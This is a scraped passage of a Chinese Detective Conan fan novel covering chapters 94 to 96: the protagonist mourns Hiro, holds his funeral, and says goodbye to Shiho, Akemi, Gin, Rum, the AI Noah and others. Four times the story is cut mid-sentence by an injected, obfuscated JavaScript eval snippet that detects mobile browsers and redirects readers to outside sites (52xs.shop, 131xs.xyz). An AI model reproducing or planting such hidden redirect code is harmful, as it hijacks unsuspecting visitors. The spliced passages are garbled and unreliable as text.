即使它现在被蒙上了一层阴霾,也依旧如此。 长长的睫毛眨了眨:“我……” 宫野志保的眼睛跟着眨了眨。 蓝色的眼瞳注视着她。 林溪突然说不出话来了。 她本来想随便编个理由,把话题转移掉,比如椰子又闯祸了,怕被她训所以逃跑了,到现在还没回来;又比如上次送她的骨杖匕首,她找人做了配套的展示架,可以把匕首架在上面,更好地发挥它的观赏功能。 但是那蓝色的眼睛看着她,仿佛什么都知道一样,让她的话全卡在喉咙里。 她心底泛起一股憋了很久的委屈和挫败感,这情绪控制不住地涌上来,让她下意识偏过头,掩饰自己发酸的鼻子和微涩的眼角。 “我、我把事情都搞砸了。”她哑着嗓子说道,“我想办好的……但是最后还是失败了。” 宫野志保拉起她的手,像抚平一张布上的褶皱那样试图抚平那只手的颤抖。 “没关系,潘趣,没关系……”宫野志保说,“你已经做的很好了。” “我以为我可以做到的,我以为我可以……” “没人能做到所有事情。”宫野志保说着,“你又不是超人。” 红发少女蹲下来,和她说要当小女孩保镖的那天一样,以仰视的姿态看着着宫野志保。 “我知道啊,志保。” 她当然不是什么超人。超人既不会痛也不会疲惫,攻无不克,战无不胜,总是挡在众人身前,坚定地保护着所有人。 她做不到。 她会痛,会累,会哭,会有负面情绪,会想要放弃,也会精神崩溃。 她只是个普通人。 即便如此,她也想要多承担一点,多坚持一会儿,多尝试几次,多变强一点…… 这样在她身后的人就能平平安安、快快乐乐的生活了。 然而这一次她想救的人没能救下来。 在看见诸伏景光的脸的时候,她所有的思维似乎都消失了,只剩下一个念头: 要用手里的子弹贯穿他的头颅才行。 在那之前的记忆都是模糊不清的,林溪下意识地避免去想,因为只要一想她的头就会像要爆炸了一样痛。 好像连身体都在用本能告诉自己: 不要回想。 林溪深吸一口气。 诸伏景光的死对她最大的冲击不是失败带来的挫败感,而是来自于别的方面。 那是一种对未来的尖锐恐惧。 如果这一次,她没能救下他,没能改变剧情,那以后呢?再遇见这种事情,她还能改变……不,她还有勇气去改变吗? 宫野志保轻轻叹了口气,张开双臂环抱住林溪。 她从来没见过潘趣这幅样子。 究竟发生了什么事情? 她没有开口问。 她看出潘趣并不愿意说,她也就不问了。 但她猜测那肯定和组织有关。 现在的她无法解决任何事情,只能给她她力所能及的鼓励和安慰。 也许以后,等她变强,在组织里获得更多资源的时候,说不定可以帮到潘趣。 小志保在心底暗暗下定决心,总有一天,她也要获得能保护别人的力量。 . 诸伏景光死亡一天后。 林溪如她所言,给诸伏景光办了一场葬礼。 她穿了一身黑衣,红发挽到脑后,头上带着一顶罩着黑纱的小礼帽。 清晨下了一场小雨,现在地面还是湿着的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13114226|122667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红发少女捧着一束新鲜的鸢尾,轻轻放在诸伏景光无名的墓前。 赤井秀一和安室透站在她身后,一个面无表情,一个看起来正强忍着不耐烦。 基安蒂和科恩都没有来。想想也是,哪个正经组织成员会来参加一个卧底的葬礼? 来参加的人不正经,给卧底举办葬礼的人更显神经,赤井秀一心想。 潘趣做的事情总让人感觉既合理又离谱。 让赤井秀一最惊讶的是,琴酒居然也来了。 银发的男人沉默地跟在林溪身后,什么也没有说,似乎就只是单纯的跟着少女。 赤井秀一心中再次将潘趣的地位提高了,不是她在组织里的地位,而是她对于琴酒来说的重要性。 琴酒这种这么讨厌卧底的人,居然会来参加一个卧底的葬礼,真叫人大跌眼镜。 而安室透则是望着墓碑前的鸢尾出神。 ……为什么是鸢尾? 适合葬礼的花有那么多种,为什么偏偏潘趣选择了花期早就结束、整体色调和葬礼一点不搭的鸢尾花? 的确,鸢尾花确实很适合hiro。安室透还记得,他曾经在梵高的画前跟他说过,如果生命能如画中的鸢尾一般热烈、旺盛、狂野、恣意的生长,人生也就没有什么遗憾了。 当时他笑着回应道,可是鸢尾的花期也就那么长,开完了不就谢了吗?与其活的像鸢尾一样,倒不如像其他的、更长青的植株,或者一年四季都盛放的花,它们不是更符合人们对人生的期待? 但是当时身边青年却很说,他的人生不需要那样长青。 “只需要在人世间认认真真地活上那么一遭,对我来说就已经非常好了。”他说。 可是,就算是这么说,你也走的太早了啊,hiro。 安室透垂目。 实在是太早了。 早到他根本没有任何准备。 . 最近长野县的天气属实不算好。 早上刚下了小雨,夜晚又下了起来。 外面漆黑一片,诸伏高明开了书房的灯,坐在书房里看书。 然而无论他怎么努力,都看不进去一点。书页摆在桌上,过了半天还停留在那一页。 他揉了揉眉心。 从昨天开始就一种有一种心神不宁的感觉,好像有什么事情快要发生了一样。 他看了看书页,索性合上书,披上大衣,拿上伞,准备在雨夜出门。 然而就在这时,他听见了门铃响了。 他脚步一顿,似有所感。 半晌他迈开脚步,朝着玄关走去。 门铃只响了一声,再没有响过第二次。如果不是诸伏高明正好打算出门,说不定在雨声的遮掩下都会忽略这一声门铃。 他打开门。 门口空无一人。只是在地板上端端正正放着一个信封。 诸伏高明再度沉默下来。 过了好一会儿,他才附身将地上的信封捡起来。 信封没有署名,也没有标注收信人,甚至连封口都没有。 诸伏高明轻轻将信封倒过来,里面的东西就掉到了他手心里。 一部被子弹贯穿、屏幕布满蛛网般裂纹的手机。 他抚摸了一下那些密密麻麻的裂纹,沉默了一会,然后在细雨中低不可闻地叹了口气。 “景光……” 94.请用一枝鸢尾纪念我-声音 …… 宫野明美惊讶地看着门口的人。 她迟疑地喊道:“潘趣?” 这是她第一次在妹妹不在的情况下和这位红发少女单独相处。 往常红发少女都和宫野志保形影不离,宫野志保走到哪里,红发少女跟到哪里。 今天怎么只有她一个人? 宫野明美偷偷往她身后瞟,试图寻找自己妹妹的身影。 却被少女无奈阻止:“是我。别看了,我是一个人来的。” 宫野明美这才遗憾地收回视线。 “请进,潘趣小姐。”她笑眯眯地说,转身向着厨房走去,不多时捧着一杯冰桃汁出来,递给林溪。 林溪惊讶地接过。 宫野明美解释道:“志保跟我说过,您喜欢喝冰果汁。” “……谢谢。” 红发少女垂目,乖巧地喝了一口果汁。 宫野明美看着她,觉得很不可思议。 迄今为止她所接触的组织成员都是凶神恶煞的——当然,大君除外——要不然就是邪恶阴森,从来没有哪个像潘趣这样,看起来既无害又乖巧。 一点都不像黑衣组织的干部,反而像还在上学的国中生。 “我这次来是想让你帮一个忙的。”林溪放下杯子,“我想收集你的声音。” 宫野明美惊讶地说:“我的声音?” “是的。”林溪从兜里拿出一部新手机推向宫野明美。宫野明美认出那是某手机公司发布的最新款。 “如果你同意的话,就收下这部手机吧。这里面有一个软件,每天会让你说指定的十几号。” “报酬的话……” “报酬的话就不用了,”宫野明美笑着打断,“志保这段时间承蒙您照顾。” 肉眼可见地变得明朗起来的志保,才是让宫野明美答应的原因。 “不过,如果可以的话,可以告诉我为什么您需要我的声音吗?”宫野明美好奇地问道。 是要做什么实验吗? “呃。”红发少女呆了一下,似乎在考虑怎么回答这个问题。 这不是她的突发奇想,是上次事件中少年给她的灵感。 当时他向提出了想要自己姐姐声音的请求。 林溪当时就在想,如果自己身边的亲人去世,她也会想要保存他们生前的声音,在想念他们的时候听一听,就好像他们又活了过来、正和自己说话一样。 就算这也不过是自欺欺人的幻想,至少自己也得到了安慰不是吗? 而在诸伏景光死去之后,将别人的声音保存起来这个想法又重新被林溪放上了提案。 她注视着眼前的女人。 是非常温柔的类型。 但是她也和诸伏景光一样,注定会被剧情杀杀死的吧? 既然如此,就让她至少将她的声音收集起来吧。 这样的话,也许以后,小哀她…… “没什么,就是……”少女的长长的睫毛垂下,“在进行一些实验。” 哎呀。 宫野明美看着少女低着头的脸。 看来发生了什么事。 从前她每次看见潘趣的时候,她都是一副活泼且自信满满的样子。而今天的潘趣,看起来似乎更加内敛,以及……更加危险了。 宫野明美有些担心。 在她看来,不管潘趣是杀手还是保镖、是组织干部还是实验体,她都是只有十六七岁的孩子。 要是遇见了过于棘手的麻烦,或者遭遇了很大的挫折可就麻烦了。 而且,这孩子真的有人照顾吗? 虽然看起来很独立,还在当志保的保镖,但除去志保,这孩子就是孤身一人吧? 她正要开口询问,少女突然也抬起头: “如果你注定会死亡,你会……有什么想做的事情吗?或者,想完成的愿望?” 宫野明美愣了一下。 “可是,人不都是或早或晚,都要死亡的吗?” 如果一直不死的话,那不就成了长生不老的怪物了吗? “如果那是在很短的时间内呢?”少女说,“迅速到你都来不及跟其他人告别呢?” 宫野明美看着红发少女认真的眉眼,脸上缓缓流露出带着恍然的笑意。 原来如此…… 原来我的死亡也将近吗? 潘趣这是……特意来提醒她的吗? 应该谢谢她的,不过……就让我自私一下吧。 宫野明美心里这么想着,笑着开口: “如果我注定会死亡的话……” “那我希望志保可以自由地生活在阳光之下。” 她的蓝色眼睛即使到此刻也依旧是温柔的,在客厅暖光的照射下闪着光亮。 于是少女又好像害怕被太过明亮的目光灼伤似的低下头。 “我知道了。” 半晌后,她这么说道。 …… “为什么?你要去哪里?”得知林溪要走的消息,小志保大为震惊。 她放下刚才一直拿在手上把玩的匕首,跑到林溪面前,“是要去哪里出任务吗?” 林溪摸了摸宫野志保的头。 好柔软的触感。 “是啊,要去一个很远的地方。” 嗯,其实也不算远,只是在未来而已。你只需要慢慢长大,很快就能看到我了。 “不能回来看我吗?”小志保流露出难过的表情。 林溪把宫野志保抱起来。 “应该不行……也说不定。”林溪突然想到她那些上了锁的剧情任务。 说不定会有离主时间线一年、两年前的副本呢? 那时说不定就能再见了吧。 宫野志保肚撅起嘴,对这个回答似乎并不满意。 这么模糊不清的答案,这家伙肯定又要去执行危险的任务吧? 正这么想的时候,她感觉脸被“pia”的捂住了。 宫野志保:? “不要担心我,志保。”她看见红发少女认真地说。 宫野志保:…… “唔唔、唔!” 她才没有在担心!快松开她的脸,不要再捏了啊! . 昏暗的室内。 琴酒沉默地包扎着伤口。 他刚给自己消完毒,正单手缠着绷带时,门被打开了。 琴酒冷冷地瞥了一眼门口的人,毫不意外地收回目光。 这个世界上只有她能这么快找到自己。 林溪没带易容,黑色微卷的头发垂下来,和他很多年见到的样子一模一样,一点没变。 “伏特加呢?”林溪进来之后先问道。 “给他放了假。”琴酒缠好绷带,站起来穿上衣服。 林溪扔给他五卷绷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13138353|122667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带。 琴酒:? “速愈的,觉得自己快死的时候用。”林溪解释道。“能让你迅速止血。” “……不需要。”琴酒冷漠地说,想要递还回去。 “别犟啦,小琴。”林溪用她那种让人火大的缓慢语调说道,好像面前是个无理取闹的小孩。 琴酒头上爆起了青筋。 他深吸一口气,在心里重复: 不能揍BOSS,BOSS不能揍…… 一是揍了扣工资,二是他现在受伤了打不过。 “有什么事儿?” “什么话!我没事儿就不能来了?”林溪夸张地说,“想关心一下你都不行?哎,这么多年过去,终究是生分了……” 话还没说完,琴酒一个肘击就来了,林溪敏捷地躲过。 琴酒:忍不了,先出手让她闭嘴好了。 结果林溪一边闪躲,嘴却还是不停:“瞧瞧,瞧瞧,都动上手了!” “儿大不由娘啊!酒酿熟了不由BOSS啊!离家多年归来的老BOSS竟然惨遭下属毒打,这究竟是道德的沦丧还是人性的扭曲……” 琴酒:气死。 打架也堵不住她的嘴! 他因为执行任务而受伤的伤口又有开裂的征兆,被林溪抓住破绽按在墙上。 “受了伤还乱动什么?你是身体素质好,恢复能力强,但也不是什么没痛觉的机器人——哎、哎,我警告你,不要动哦。” 林溪一手按住他的肩膀,一手垂下,将他的手腕扣在墙上,叹了口气,“都说了不要乱动了。” 他们现在距离极近,几乎连呼吸的气流都要纠缠在一起了。 林溪漫不经心地将掌心上移,缓缓从琴酒的肩膀滑向他的颈侧,眼睛盯着他的碧绿瞳孔,一边开口问道:“小琴,苏格兰被处决的那天,你在哪里?” 琴酒沉默了一会:“我不记得了。” “一点都记不得?” 蜜糖色的眼睛专注地看着他。 他睫毛微颤,垂下眼睛:“一点都不记得。” 林溪发现,只要一和这家伙讲正事,他就会突然变乖巧。 明明刚才还张牙舞爪,现在居然这么乖地站在这里听话。 “巧了,我也是。”林溪说,“奇了怪了,我们现在有个看不见的敌人,用了一些神奇的方法让我们都在同一时间段失忆了,只要试图回想就会头疼的要死——” “——不是敌人。”琴酒说。 林溪:“什么?” “不是敌人。”琴酒重复道。 “能让我失忆到什么都想不起来,还完全没有回想欲望的只能是你。” 就连■■也不行。 “BOSS,肯定是你做了什么。”他的绿眼睛在昏暗的灯光下闪着幽幽的光,让林溪想起雪地里的白狼。 林溪松开琴酒被扣住的手腕,转而抓住他的肩膀,抬起头,眼泪汪汪。 琴酒:? 又要开始了是吗? 果然,林溪下一刻就说道:“小琴……你居然这么信任我,真是太让人感动了!” 琴酒:…… 滚啊。 他无情地把林溪搭在他身上的爪子挪开。 “别说这种废话。还有,你是不是对你自己太没自信了?”他嗤笑道,“瞧瞧葬礼上那个失魂落魄的家伙……那还是你吗,林溪?” 95.请用一枝鸢尾纪念我-告别 林溪:拳头硬了。 她承认她那几天有点失态,但绝对没有“失魂落魄”那么夸张! 其实那天她已经慢慢回过味来了。 一旦顺着剧情发展,违和感就慢慢浮现出来。 不说别的,就拿林溪自己来说,她真的会这么乖乖的让别人把自己的记忆清空掉吗? 感觉自己一定会宁愿鱼死网破,也不会让自己的记忆就这么被搅得一团糟的,林溪想。因为记忆对她来说,就好像茫茫深海中的灯塔,是很重要的东西,如果没有它们,会面临迷失方向、找不到家的困境。 所以她一直都隐隐有个猜测,这个猜测如今因为琴酒的话变得更加确定起来—— 那个让她脑子糊里糊涂、头疼欲裂的人,就是她自己。 而且在杀死诸伏景光、脑子一片混乱的时候,是谁一直在提醒林溪、给她指示,让她知道下一步该做什么? 是诺亚。 她猜测那些指令都是失忆之前的自己让诺亚做的。 没有什么比一个人工智能更适合执行这种任务了。 人工智能不需要记忆,它们只需要提前设定好程序,然后将过去的工作日志删掉就可以达到“失忆”的效果。 而之所以要让自己、琴酒,甚至诺亚失去那一段时间的记忆……应该和之前的自己想出的救出诸伏景光的方法有关。 但现在还不是想起来的时候。 每当林溪控制不住回忆的时候,就会想起诺亚跟她说的话: “‘在这件事上,你已经做了所有你可以做的事情。现在,让自己好好休息一下吧。’” 她已经做了所有她可以做的事情。 所以就不要试图顶着那难以忍受的头疼去回忆了,稍微……休息一下吧。 但是即便如此,那种失去记忆带来的恐慌感和烦躁感依旧不停折磨着她。 在她失去记忆的那段时间里,到底发生了什么? 她真的想出办法并坚定执行了吗? 诸伏景光真的得救了吗? 会不会,在她看不见的角落,在没有人注意到的角落,他又死于那些莫名其妙的原因? 那种事情完全不受掌控的感觉让她感觉非常…… 不好。 所以她来找琴酒了。 琴酒很有可能是那些她那些许许多多周目的“知情者”。 说实在的,真的有人能每个周目选择都不一样吗? 每一个周目,琴酒的行动就好像前几个周目的延续……就像他发给她的那些短信,从【?】开始,到她让他帮忙……清理那些人结束,聊天内容按照前后顺序推进,实际上却跨越了许多个周目。 林溪觉得就算琴酒不像她一样完全了解那些周目的每一个细节,也至少隐隐约约有所印象。 但这家伙给他留足了脸面。不知道处于什么原因,他从来都没有——哪怕一次——去左右林溪的选择,在每个周目都将沉默的旁观者的角色演绎到极致。 不得不承认,林溪因为这个感到了一些慰藉和感激。 他们都默契地不谈起林溪在那些周目里所面临的选择和无能为力,好像这样,林溪就可以装作若无其事起将那些避无可避的疼痛和绝望全部咽下去。 就连现在也是这样——琴酒和她的对话充满了那些心照不宣的回避和无法言明的暗示。 【能让我失忆到什么都想不起来,还完全没有回想欲望的只能是你。】 【你是不是对自己太没自信了?】 换句话说,就是: 【是你让我,以及你自己失去记忆的;】 【在那些不可追溯的过去里,你做出了某些安排,而我……】 【永远听从你的指令。】 当然,这些话琴酒是永远不会说出来的。 他只会嘴硬地冷嘲热讽,然后—— 就被林溪下手,狠狠按了按受伤的地方。 力道刚刚好,懵逼不伤……不会让伤口开裂。 琴酒吃痛地哼了一声,然后很快闭上嘴巴。 “哼……”林溪松开手,后退几步,看着贴墙站着、被阴影包围的男人,心里发出吐槽: 在这个漫画……也许是动画世界里,有人的滤镜是神秘,有人的滤镜是如沐春风,有人的滤镜是隐忍深情。 而琴酒的滤镜则是毫不掩饰的杀气以及…… 杀气背后的嘴硬皇帝。 哎,等到世界末日了,全世界都被大火烧光了,琴酒的嘴也不会融化的。 他站在黑暗里,受着伤,依旧直着腰冒着杀气……这幅姿态,林溪想,真的让离别的话更难说出口了。 但林溪还是开口了:“我还有五天就要走了。不过,下次再次相见的时间不会太远的,我保证。” 不知道是不是她的错觉,林溪感觉男人的嘴角在某一瞬间扬起了笑意——但很快就隐没了。 “我知道了。”琴酒说。 他的绿眼睛随着少女的离去移动着,随后又转了回来,望着室内的一片昏暗。 他想,他已经习惯了等待。 也习惯了沉默。 . “您又要走了吗?”朗姆坐在茶室中,穿着和服,一副安静美男子的样子。 至少林溪一点都看不出来他很久以前拿着刀枪跟人猛干的样子。 她叹了口气,“走归走,我可不白走,我留下了新鲜血液啊,朗姆。” “我手底下的人——除了刚被发现是卧底的苏格兰——哪个不是优秀人才?” 青年的脸上泛起笑意。 “我也是您手底下的人啊,BOSS。” “咳咳,我的意思是,*新鲜血液*。”林溪强调道。“你可以随意使用他们,我们组织的‘CEO’先生……但是记得小心,利刃伤人,也会伤己。” 青年若有所思。 这听起来像是一个……具有暗示性的提醒。 “好的,BOSS。”他说,“既然你都说我是‘CEO’了……要知道,每一个CEO都想尽最大的可能让他们的老板满意。” 茶水氤氲的雾气蒸腾而上,模糊了他的面容。 这么多年过去了,他用种种行为证明了,没有人比他更合适“CEO”这个位置。 想到“CEO”这个违和又带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13152473|122667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着诡异合理性的称呼,他又忍不住笑了笑。 未来见,我的BOSS。 . 美国。 整齐的书桌上,摆着一张信纸。 樫村弘树认真端详着它,就像在研究一串奇妙的代码。 【虽然我已经让诺亚告诉了我很快就要走了这件事情,不过我觉得还是一封书信更符合告别的礼仪。】 【很遗憾因为美国的时差问题,我不能跟你通话。但是你在短信中曾回复我,希望我走的时候能将诺亚带上,它肯定可以帮到我。】 【我毫不怀疑这一点。但是小弘树,你和小纯枝,我认为诺亚在你们身边会成长的更好。你也许知道,人工智能会下意识模仿周围人的行为,我认为它和你们这些更有童心的孩子们待在一起比较好,至于我,我虽然年纪不算大,但和有童心完全搭不上边……】 【我猜你一定想问我什么时候回来。如果我是那种不负责任的大人,我一定会用一个非常模糊的时间或者“等你长大之后”这种话来糊弄你。你放心,五年之后,差不多等你读完你的硕士学位(当然是麻省理工的,不过别有压力),我就会回来的。】 【不过要提醒你,到时候的我,很可能会一种意想不到的模样出现哦!不要太惊讶,你只需要记住——】 【眼睛是认人最不可靠的方式了。】 【说一句题外话,你知道小说里都会有的那种主角团吗?我觉得你、诺亚还有小纯枝,一个计算机方面的天才男孩,一个做事认真又有天赋(她甚至还有酷毙了的黑色面具)的女孩,一个善解人意、会用颜表情的人工智能,你们简直就是我心目中完美的主角团!】 樫村弘树:…… 所以她让诺亚待在他身边的原因果然还是因为这个吧? 但是他更希望诺亚能帮上她的忙…… 而且,她到底为什么这么笃行他一定能拿到麻省理工的硕士学位啊? 他又接着往下看去。 后面就是一些细致的叮嘱,很像长辈外出会给留在家中的小辈说的话,比如要好好吃饭,要好好学习,要好好玩,以及很有林溪风格的,让樫村弘树练习电动成为游戏高手之后带她玩。 关于这个还有林溪写在括号里的小小抱怨: 【我玩个游戏,为了打出美好结局回档回了二十几次!而且现在还不知道结果如何,如果有可能的话,我一定要把设计出这个游戏的人拉出来揍一顿,或者给她寄七彩刀片以展示我对她的爱……】 樫村弘树深表赞同。 回档二十几次,想想就艰难,林姐姐一定打了很久。 希望她之后的关卡不要再那么难了,如果实在太难的话……小弘树想了想,他还可以设计小插件给她开挂。 他将信纸收起来,和几张他在新学校拍的照片一起夹在书中放在书架里。 五年的时间好长啊。林姐姐还不如直接跟他说“等你长大之后再见面呢。” 那时候他应该已经十一岁了。 他这么想着,短到根本够不着地的双腿在椅子上晃荡,根本没意识到十一岁无论在世界上哪个人类社会中都远远算不上大人。 96.请用一枝鸢尾纪念我-少年 杉岛纯枝当然也收到了信件。 她摩挲着浅粉色的信纸,嘴巴微微抿起,半晌之后放下信纸,小心地将它放回信封中。 林溪寄给她的信和寄给樫村弘树的信内容差不多,主要是让她好好学习、不好好学习也没关系,让她多尝试自己喜欢的东西,过自己想要的人生。 杉岛纯枝瞥了瞥桌子上放着的面具。 面具泛着神秘的金属光泽,勾勒出了一个没有感情的冷硬嘴角。 杉岛纯枝也不知道自己想要的人生是什么。 她的过去是一片黑暗的沼泽,是姐姐拉着她穿过那些足以吞噬掉人的危险。现在则是一条平坦的路途,一个广大的世界——林小姐说,她想做什么都可以,她可以过自己想要的人生。 杉岛纯枝毫不怀疑林溪说的话。如果她现在说自己要成为偶像,林小姐也会马上聘用一大堆偶像训练师来帮她实现愿望的吧? 但是自己究竟想要什么样的人生呢? 杉岛纯枝拿起面具,戴在脸上。 金属面具冷漠的棱角将她的表情全部吞没了。 她想,自己想要什么样的人生,并不取决于自己。 而是取决于——虽然林小姐可能很不愿意听见这句话——取决于林小姐。 她也想帮助林小姐完成她的愿望,而不只是每一次都待在原地,让林小姐帮助她。 想要帮助林小姐的话,就要好好努力才行吧? 杉岛纯枝面具下的双眼逐渐坚定。 五年的时间,她一定要好好努力,争取成长成为独当一面的大人物! . 【您要走了吗?】 屏幕上浮现出这句话。 “哎,我本来以为只有人类会反问,想不到AI也学会了如何用重复将陈述句变成问句。” 林溪叹了口气:“是的,我要走了,小诺亚。” 面前的电脑屏幕闪烁了一下。 【我知道了。我会保护好弘树和纯枝。】 【保重,林小姐。】 “你也是,小诺亚……” 林溪欲言又止。 面前的屏幕虽然浑身上下皆由无机物组成,却如同有智慧一般敏锐地捕捉到了林溪的情绪。 【林小姐,在我这里,您可以畅所欲言。】 “啊,我只是想问,”林溪有些不好意思,“在发生了*这么多*事情之后,你还觉得我是个‘好人’吗?” 这个问题以前AI跟她说过。 当时它还是个天真的小人工智能,很明确地告诉林溪她是个好人。 但经过了这么多事情,特别是在诺亚了解了组织的本质之后,它对林溪的评价会有变化吗? 林溪有点好奇。 AI沉默了一会儿。“林小姐,如果以我们现在所处国家的法律来讨论您是否有罪,那没错,身为非法犯罪集团中的……骨干成员,您是有罪的。” 好的,林溪想,这和从前的评价可大不一样了。 “但在我目前所拥有的人类数据信息来看,有罪的也并不代表是一个‘坏人’。” “‘好人’和‘坏人’听起来像是个被人类发明出来的对立词汇……实际上并没有任何现存的、站得住脚的逻辑来将人类分成‘好人’与‘坏人’。” AI平淡的说着,从它的语气中林溪分辨不出任何情绪。 人工智能隐藏情绪的能力可要比人类强多了,林溪想……话说,人工智能真的有情绪那种东西吗? “任何试图分离和对立人类的词汇,在我看来,都充满政治性,且很容易招致危险的后果。”说到这里,AI稍稍停顿了一下,“身为人工智能,我并不提倡这种行为。” “所以林小姐,您问我的这个问题,现在的我还不能解答。也许等到以后我从人类社会中收集到更多的数据之后,才能做出回答。” “喔。”林溪有点惊奇。 诺亚注意到了林溪微妙的情绪,语气变得有点忐忑:“林小姐?” “哦没事,你说的很好,诺亚。”林溪笑着说,戳了戳屏幕,“我只是很难想象……你才出生半年时间,就可以跟人类讨论哲学问题了。” 屏幕闪了闪。诺亚没有再说话。 AI似乎不好意思了。 五年的时间说长不长,说短不短——最重要的是,人工智能还没有搞清楚,“时间”和“离别”对于人类来说意味着什么。 人工智能只是忠实地计算着,制定五年以及更长时间的计划,估算五年内自己又能从人类社会收集到多少资料,能否进步,以及……是否能在五年后回答林溪的问题。 . “老师又要走了啊。”马德拉的反应倒是比林溪预想之中的要平淡很多。 “虽然不知道老师有什么计划,但是一定要加油!我超级期待和老师的下次会面!” 他笑起来傻里傻气的,还亮出了自己的一口白牙。 跟林溪第一次见到他的时候一样。 林溪无语扶额:“你是不是已经从别人那里知道消息了?” 青年的脸马上耷拉下来。 他带着黑框眼镜,此刻眼睛垂下,头上的呆毛也有气无力——简直让林溪幻视了被遗弃的小狗,耷拉着耳朵的那种。 “老师真是什么都知道啊。”他无精打采,还不忘恭维一句林溪,“我正好去朗姆那里,从他那里套出来的话。” “当时我就感觉天都塌了!老师要走,我居然是他们之中最后一个知道的!”他幽怨的眼神无声控诉着林溪,“我当时就想跟老师打电话……但朗姆跟我说,我不能总这样,老师会嫌烦的。” “所以我平复了好久的心情,专门每天来研究所晃,等着老师来,然后表现出我最懂事的那一面——” 林溪双手举起做投降状。 “下次一定!我下次一定第一个通知你!” 然后顶着他幽怨的眼神用她三级的隐匿跑路了。 …… 与此同时,美国某公寓中。 “喵!” 椰子敏捷地躲开来人蠢蠢欲动的手,顺便给了他一爪子,然后噌地跳走。 “哎哟!” 马歇尔缩回手,看着手上新鲜出炉的爪子印,欲哭无泪。 “啊,马歇尔先生。”听见动静的少年从里屋出来,接住往他这边跑的椰子,“椰子比较怕生,而且刚来到新环境,有点应激反应……还请您离远点,不要吓着它了。” 少年大概十五六岁,柔软的黑发柔顺地贴着头皮。他的眼睛是纯净的湛蓝色,让人联想起天空和大海,睫毛很长,像小刷子一样,保护着底下发光的蓝宝石。 他的眼尾上翘,有一双漂亮的猫眼。此刻他抱着白色的猫,两双同样湛蓝的眼睛一齐望着马歇尔,让马歇尔有种错觉,好像面前的是由猫咪化身而来的精怪。 马歇尔定了定神,旋即无语地说:“我只是想摸它一下……” 天可怜见,他挨都还没挨到呢,就挨了猫猫一爪子! “喵喵喵! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13176080|122667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 椰子在少年怀里叫起来。 猫猫拒绝陌生人的咸猪手。 少年镇定地抱紧椰子:“椰子可能不太喜欢你,马歇尔先生。如果下次你能拿来冻干之类的东西贿赂它,也许情况会不太一样?” “好吧,你的猫真有个性。”马歇尔仰头望天。“想好叫什么名字了吗?” 没错,他是来给少年办理身份的。 CIA新任务——收养神秘的未成年少年,抚养他一直到18岁。 至于为什么会有这个新任务…… 还要从十天前的一则短信开始说起。 【还记得我吗?】 马歇尔收到这则短信还以为是谁发错了。 这语气听起来像是曾经有过感情纠葛的前情侣给对方发的,或者是一次偶遇之后老土的搭讪。 他刚想把短信拖到垃圾篓里,还没动手的时候,新的短信就发过来,让他一下子精神了。 【我亲爱的好朋友CIA,为了庆祝你们家小卧底这么长时间都没有暴露,以及在这件事情上我做出的功不可没的贡献——】 【我决定跟你谈一笔生意。】 马歇尔深吸一口气,坐了起来。 精神小伙立正了.jpg 时隔六个月,这人居然又出现了。 潘趣。 没错,在被这人吓的很长一段时间不敢和水无怜奈联络、终于在水无怜奈找到机会跟他们沟通之后,他们才知道那个会易容的乐子人变态是组织成员潘趣。 水无怜奈对她的形容是: 表面是阳光开朗、纯良无害的少女,却以吓唬人为乐趣。像国中生,红发碧眼,和一只白猫形影不离。精通易容,善于易容成别人的样子,其技艺娴熟能以假乱真,连对方亲近之人都辨认不出来。 在水无怜奈和CIA沟通之后更是冷汗涔涔:她居然暴露的这么早! 所以她当时绝对是故意吓她的! 就像猎人玩弄她的猎物……看着猎物收到惊吓,享受他们挣扎的姿态…… 在水无怜奈的心里,潘趣的危险性已经比琴酒还要高了。 马歇尔还宽慰她: 反正已经暴露了,看潘趣这意思也没打算现在戳穿她。不止如此,她当时还任由水无怜奈获得了代号。 既然如此,那就配合她吧,现在他们不能自乱阵脚。 水无怜奈已经是CIA卧底在组织里的独苗苗了。 【什么生意?】马歇尔回复道。 